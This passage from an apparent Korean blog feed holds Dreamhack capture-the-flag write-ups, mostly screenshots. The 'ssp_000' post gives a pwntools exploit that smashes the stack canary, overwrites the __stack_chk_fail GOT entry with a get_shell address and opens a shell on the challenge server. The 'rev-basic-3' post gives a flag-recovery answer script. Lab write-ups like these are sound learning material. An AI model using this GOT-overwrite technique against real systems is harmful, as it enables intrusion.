&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;607&quot; data-origin-height=&quot;418&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHH1Wz/dJMb990osRb/3m6FLdYkeLiHq9aPA8U2z1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHH1Wz/dJMb990osRb/3m6FLdYkeLiHq9aPA8U2z1/img.png&quot; data-alt=&quot;main 함수 내의 correct, wrong 확인 함수. return이 1이면 correct&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHH1Wz/dJMb990osRb/3m6FLdYkeLiHq9aPA8U2z1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHH1Wz%2FdJMb990osRb%2F3m6FLdYkeLiHq9aPA8U2z1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;607&quot; height=&quot;418&quot; data-origin-width=&quot;607&quot; data-origin-height=&quot;418&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;main 함수 내의 correct, wrong 확인 함수. return이 1이면 correct&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;287&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIBwwd/dJMcafGhS9b/ss8sCmrE8bd0XZqtyYRjdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIBwwd/dJMcafGhS9b/ss8sCmrE8bd0XZqtyYRjdK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIBwwd/dJMcafGhS9b/ss8sCmrE8bd0XZqtyYRjdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIBwwd%2FdJMcafGhS9b%2Fss8sCmrE8bd0XZqtyYRjdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;698&quot; height=&quot;287&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;287&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;682&quot; data-origin-height=&quot;577&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lsfbc/dJMcafGhS9K/FKQBhXNrP6UkK95F0KGn40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lsfbc/dJMcafGhS9K/FKQBhXNrP6UkK95F0KGn40/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lsfbc/dJMcafGhS9K/FKQBhXNrP6UkK95F0KGn40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flsfbc%2FdJMcafGhS9K%2FFKQBhXNrP6UkK95F0KGn40%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;682&quot; height=&quot;577&quot; data-origin-width=&quot;682&quot; data-origin-height=&quot;577&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;665&quot; data-origin-height=&quot;288&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/deTFdJ/dJMcahc07Rp/vZfPLAV0KSLy9aasCk1nP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/deTFdJ/dJMcahc07Rp/vZfPLAV0KSLy9aasCk1nP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/deTFdJ/dJMcahc07Rp/vZfPLAV0KSLy9aasCk1nP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdeTFdJ%2FdJMcahc07Rp%2FvZfPLAV0KSLy9aasCk1nP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;665&quot; height=&quot;288&quot; data-origin-width=&quot;665&quot; data-origin-height=&quot;288&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;결론&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;342&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cEYFFK/dJMcacv2wVK/ETbAEFLuUF7ADtAhk03aJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cEYFFK/dJMcacv2wVK/ETbAEFLuUF7ADtAhk03aJ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cEYFFK/dJMcacv2wVK/ETbAEFLuUF7ADtAhk03aJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcEYFFK%2FdJMcacv2wVK%2FETbAEFLuUF7ADtAhk03aJ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;642&quot; height=&quot;342&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;342&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;667&quot; data-origin-height=&quot;751&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ki8Ut/dJMcaiiGPpF/XEr0dSZ3yoICkrWoeW5K1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ki8Ut/dJMcaiiGPpF/XEr0dSZ3yoICkrWoeW5K1k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ki8Ut/dJMcaiiGPpF/XEr0dSZ3yoICkrWoeW5K1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKi8Ut%2FdJMcaiiGPpF%2FXEr0dSZ3yoICkrWoeW5K1k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;667&quot; height=&quot;751&quot; data-origin-width=&quot;667&quot; data-origin-height=&quot;751&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>dreamhack/Level1</category>
      <author>놀고 싶어요</author>
      <guid isPermaLink="true">https://taemin01.tistory.com/152</guid>
      <comments>https://taemin01.tistory.com/152#entry152comment</comments>
      <pubDate>Fri, 17 Apr 2026 01:24:46 +0900</pubDate>
    </item>
    <item>
      <title>ssp_000 (stack smash protection)</title>
      <link>https://taemin01.tistory.com/151</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;585&quot; data-origin-height=&quot;277&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjUqlI/dJMb99MMx3i/tXGNAZMyXRw6gAiqMZQSrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjUqlI/dJMb99MMx3i/tXGNAZMyXRw6gAiqMZQSrk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjUqlI/dJMb99MMx3i/tXGNAZMyXRw6gAiqMZQSrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcjUqlI%2FdJMb99MMx3i%2FtXGNAZMyXRw6gAiqMZQSrk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;585&quot; height=&quot;277&quot; data-origin-width=&quot;585&quot; data-origin-height=&quot;277&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;환경 분석&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;646&quot; data-origin-height=&quot;171&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b4gGaL/dJMcacv1MgG/gJt1XPt0wqzrkFY1pnTfbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b4gGaL/dJMcacv1MgG/gJt1XPt0wqzrkFY1pnTfbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b4gGaL/dJMcacv1MgG/gJt1XPt0wqzrkFY1pnTfbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb4gGaL%2FdJMcacv1MgG%2FgJt1XPt0wqzrkFY1pnTfbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;646&quot; height=&quot;171&quot; data-origin-width=&quot;646&quot; data-origin-height=&quot;171&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;취약점 분석&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;672&quot; data-origin-height=&quot;148&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOyFUV/dJMcaibWxa7/PyRvQldGrZat2J9FexhYHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOyFUV/dJMcaibWxa7/PyRvQldGrZat2J9FexhYHK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOyFUV/dJMcaibWxa7/PyRvQldGrZat2J9FexhYHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOyFUV%2FdJMcaibWxa7%2FPyRvQldGrZat2J9FexhYHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;672&quot; height=&quot;148&quot; data-origin-width=&quot;672&quot; data-origin-height=&quot;148&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;공격 설계&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;167&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVEGn3/dJMcabDR0dV/UchssCk6mKe2E2jXOe6XbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVEGn3/dJMcabDR0dV/UchssCk6mKe2E2jXOe6XbK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVEGn3/dJMcabDR0dV/UchssCk6mKe2E2jXOe6XbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVEGn3%2FdJMcabDR0dV%2FUchssCk6mKe2E2jXOe6XbK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;642&quot; height=&quot;167&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;167&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;익스플로잇 코드&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;pre id=&quot;code_1776301926325&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

# 1. 초기 설정
#p = process('./ssp_000')
p = remote('host8.dreamhack.games',21071)

# 2. 주소 정보 (16진수)
addr_stack_chk_fail_got = 0x601020  # __stack_chk_fail의 GOT 위치
value_get_shell = 0x4008ea         # get_shell 함수의 위치

# 3. Step 1: 카나리 파괴 (Trigger)
# buf를 넘쳐서 카나리를 오염시킴
p.sendline(b'A' * 100) 

# 4. Step 2: GOT Overwrite
# scanf(&quot;%ld&quot;)이므로 10진수 문자열로 변환하여 입력
p.sendlineafter(b&quot;Addr : &quot;, str(addr_stack_chk_fail_got))
p.sendlineafter(b&quot;Value : &quot;, str(value_get_shell))

# 5. 셸 획득
p.interactive()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>dreamhack/Level1</category>
      <author>놀고 싶어요</author>
      <guid isPermaLink="true">https://taemin01.tistory.com/151</guid>
      <comments>https://taemin01.tistory.com/151#entry151comment</comments>
      <pubDate>Thu, 16 Apr 2026 10:12:16 +0900</pubDate>
    </item>
    <item>
      <title>rev-basic-3</title>
      <link>https://taemin01.tistory.com/150</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;617&quot; data-origin-height=&quot;191&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pOQSD/dJMcagZreRi/eOvk0g168qJDGneCcB5e11/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pOQSD/dJMcagZreRi/eOvk0g168qJDGneCcB5e11/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pOQSD/dJMcagZreRi/eOvk0g168qJDGneCcB5e11/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpOQSD%2FdJMcagZreRi%2FeOvk0g168qJDGneCcB5e11%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;617&quot; height=&quot;191&quot; data-origin-width=&quot;617&quot; data-origin-height=&quot;191&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이 흐름&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;670&quot; data-origin-height=&quot;137&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cpm93i/dJMcafzuMoI/KYkMko5jwqReISrALBRxDK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cpm93i/dJMcafzuMoI/KYkMko5jwqReISrALBRxDK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cpm93i/dJMcafzuMoI/KYkMko5jwqReISrALBRxDK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcpm93i%2FdJMcafzuMoI%2FKYkMko5jwqReISrALBRxDK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;670&quot; height=&quot;137&quot; data-origin-width=&quot;670&quot; data-origin-height=&quot;137&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;465&quot; data-origin-height=&quot;137&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8zbzI/dJMcaiprHm7/nv26EU0nGl11UmBiTprdZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8zbzI/dJMcaiprHm7/nv26EU0nGl11UmBiTprdZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8zbzI/dJMcaiprHm7/nv26EU0nGl11UmBiTprdZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8zbzI%2FdJMcaiprHm7%2Fnv26EU0nGl11UmBiTprdZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;465&quot; height=&quot;137&quot; data-origin-width=&quot;465&quot; data-origin-height=&quot;137&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;673&quot; data-origin-height=&quot;156&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cE76GA/dJMcaaEXUpP/QgatKW2eVnIQfjvSksR3SK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cE76GA/dJMcaaEXUpP/QgatKW2eVnIQfjvSksR3SK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cE76GA/dJMcaaEXUpP/QgatKW2eVnIQfjvSksR3SK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcE76GA%2FdJMcaaEXUpP%2FQgatKW2eVnIQfjvSksR3SK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;673&quot; height=&quot;156&quot; data-origin-width=&quot;673&quot; data-origin-height=&quot;156&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;513&quot; data-origin-height=&quot;617&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgo8S4/dJMcadn52sK/ku9uqSdsdVKplcLijDtoQK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgo8S4/dJMcadn52sK/ku9uqSdsdVKplcLijDtoQK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgo8S4/dJMcadn52sK/ku9uqSdsdVKplcLijDtoQK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbgo8S4%2FdJMcadn52sK%2Fku9uqSdsdVKplcLijDtoQK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;513&quot; height=&quot;617&quot; data-origin-width=&quot;513&quot; data-origin-height=&quot;617&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;631&quot; data-origin-height=&quot;141&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SH0a5/dJMcadhmaet/hmmtI6BPsmWfaoMZBPb3r1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SH0a5/dJMcadhmaet/hmmtI6BPsmWfaoMZBPb3r1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SH0a5/dJMcadhmaet/hmmtI6BPsmWfaoMZBPb3r1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSH0a5%2FdJMcadhmaet%2FhmmtI6BPsmWfaoMZBPb3r1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;631&quot; height=&quot;141&quot; data-origin-width=&quot;631&quot; data-origin-height=&quot;141&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;710&quot; data-origin-height=&quot;368&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lVQVV/dJMcafTNa24/RKsofMWPZqRnk9UI6Q5kM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lVQVV/dJMcafTNa24/RKsofMWPZqRnk9UI6Q5kM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lVQVV/dJMcafTNa24/RKsofMWPZqRnk9UI6Q5kM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlVQVV%2FdJMcafTNa24%2FRKsofMWPZqRnk9UI6Q5kM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;710&quot; height=&quot;368&quot; data-origin-width=&quot;710&quot; data-origin-height=&quot;368&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;243&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biBMxt/dJMcaaZejAs/GwKgtE3ebKRFdxbqPY0RO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biBMxt/dJMcaaZejAs/GwKgtE3ebKRFdxbqPY0RO0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biBMxt/dJMcaaZejAs/GwKgtE3ebKRFdxbqPY0RO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiBMxt%2FdJMcaaZejAs%2FGwKgtE3ebKRFdxbqPY0RO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;652&quot; height=&quot;243&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;243&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;최종 코드&amp;nbsp;&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;pre id=&quot;code_1776185111196&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Reversing Basic Challenge #3 최종 정답 추출 스크립트
data = [
    0x49, 0x60, 0x67, 0x74, 0x63, 0x67, 0x42, 0x66, 
    0x80, 0x78, 0x69, 0x69, 0x7b, 0x99, 0x6d, 0x88, 
    0x68, 0x94, 0x9f, 0x8d, 0x4d, 0xa5, 0x9d, 0x45
]

flag = &quot;&quot;
for i in range(len(data)):
    # 분석을 통해 도출된 최종 역산 로직
    res = (data[i] - (i * 2)) ^ i
    flag += chr(res)

print(f&quot;Flag: DH{{{flag}}}&quot;)&lt;/code&gt;&lt;/pre&gt;</description>
      <category>dreamhack/Level1</category>
